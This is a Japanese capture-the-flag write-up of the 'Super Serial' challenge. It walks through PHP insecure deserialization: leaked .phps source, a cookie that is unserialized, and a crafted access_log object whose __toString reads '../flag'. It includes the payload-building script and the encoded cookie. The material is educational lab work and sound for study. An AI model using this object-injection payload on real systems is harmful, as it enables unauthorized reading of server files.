できなかった問題をwriteup等を参考に勉強した記録を残す。
勉強した結果,徳丸本 4.14.2 安全でないデシリアライゼーション に関する問題とわかった。
313 solvesの難問
Super Serial
ヒント ../flag
アクセスするとこんな画面が表示される。
OSコマンドインジェクションとか狙ったが全くだめ
以下,他力ありき。
robots.txt
phpsって何?
The PHPS file type is primarily associated with 'PHP Source' by The PHP Group.とか書いある
index.phpsは?
見えた
<?php
require_once("cookie.php");
if(isset($_POST["user"]) && isset($_POST["pass"])){
$con = new SQLite3("../users.db");
$username = $_POST["user"];
$password = $_POST["pass"];
$perm_res = new permissions($username, $password);
if ($perm_res->is_guest() || $perm_res->is_admin()) {
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
header("Location: authentication.php");
die();
} else {
$msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<?php if (isset($msg)) echo $msg; ?>
<form class="form-signin" action="index.php" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
インクルードしているcookie.phps
<?php
session_start();
class permissions
{
public $username;
public $password;
function __construct($u, $p) {
$this->username = $u;
$this->password = $p;
}
function __toString() {
return $u.$p;
}
function is_guest() {
$guest = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] != 1) {
$guest = true;
}
}
return $guest;
}
function is_admin() {
$admin = false;
$con = new SQLite3("../users.db");
$username = $this->username;
$password = $this->password;
$stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
$stm->bindValue(1, $username, SQLITE3_TEXT);
$stm->bindValue(2, $password, SQLITE3_TEXT);
$res = $stm->execute();
$rest = $res->fetchArray();
if($rest["username"]) {
if ($rest["admin"] == 1) {
$admin = true;
}
}
return $admin;
}
}
if(isset($_COOKIE["login"])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
die("Deserialization error. ".$perm);
}
}
?>
インクルードしているauthentication.phps
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center"><?php echo $msg; ?></h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
今通勤電車で読んでる徳丸本の4.14.2 安全でないデシリアライゼーションで
徳丸先生が使ってはいけないといっているserialize/unserializeがあり,
serializeしたデータをcookieに格納し,
cookieからserializeしたデータを取り出してunserializeしてる。
徳丸本を読んだとき,PHPのソースが見えないとできない攻撃だから,「こんなの実際には起こらないだろ」と思っていたが,この問題で,robots.txtでソースが見えるというヒントがあり,なるほどよく出来た問題だなと思った次第であります。はい。
PHP Object Injection
serialize してる場所
setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
unserialize してる場所
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
```
どうやら cookie にPHPスクリプトを注入できそうだ
また徳丸本だが,PHPの場合,デシリアライズできるクラスは,攻撃対象アプリケーション内であらかじめ定義されているものに限られるとある
攻撃にもってこいなのはaccess_logクラス
```php5:authentication.phps
<?php
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
require_once("cookie.php");
if(isset($perm) && $perm->is_admin()){
$msg = "Welcome admin";
$log = new access_log("access.log");
$log->append_to_log("Logged in at ".date("Y-m-d")."\n");
} else {
$msg = "Welcome guest";
}
?>
```
$log = new access_log("access.log")の access.log を ../flag に変更すればいい感じ。
https://www.php.net/manual/ja/language.oop5.magic.php
read_log() がマジックメソッド __toString() に定義されており,
echo $obj; としたときに ../flag の中身を表示できそうだ。
攻撃コード作成スクリプト(シリアライズしたデータが見える状態)
```php5
<?php
// access_logは,authentication.phpsからコピペ
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");
//echo "Cookie: "
// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
//echo urlencode(base64_encode(serialize($log)));
echo serialize($log)
?>
```
結果
```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```
攻撃コード作成スクリプト(本番用)
```php5
<?php
// access_logは,authentication.phpsからコピペ
class access_log
{
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return $this->read_log();
}
function append_to_log($data) {
file_put_contents($this->log_file, $data, FILE_APPEND);
}
function read_log() {
return file_get_contents($this->log_file);
}
}
// $log = new access_log("access.log"); と同じようにオブジェクト生成
$log = new access_log("../flag");
//echo "Cookie: "
// $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));の逆をする
echo urlencode(base64_encode(serialize($log)));
//echo serialize($log)
?>
```
結果
```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```
攻撃開始
攻撃目標は,access_logクラスがあるauthentication.php
発動場所は,unserializeがあるcookie.php
cookie.phpはauthentication.phpにインクルードされてるから問題なし
コードが実行されるまでの流れ
```php5:cookie.php
if(isset($_COOKIE["login"])){
try{
// 1. 攻撃コードがアンシリアライズされる
$perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
// 2. usernameやpasswordが無いのでエラーになる
$g = $perm->is_guest();
$a = $perm->is_admin();
}
catch(Error $e){
// 3. ここに飛んでくる
die("Deserialization error. ".$perm);
// 4. __toString()が発動
// 5. read_log()が発動
}
```
結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/15b1b284-55bf-960a-52b9-444d83afadf1.png)
狙いどおり ビンゴ!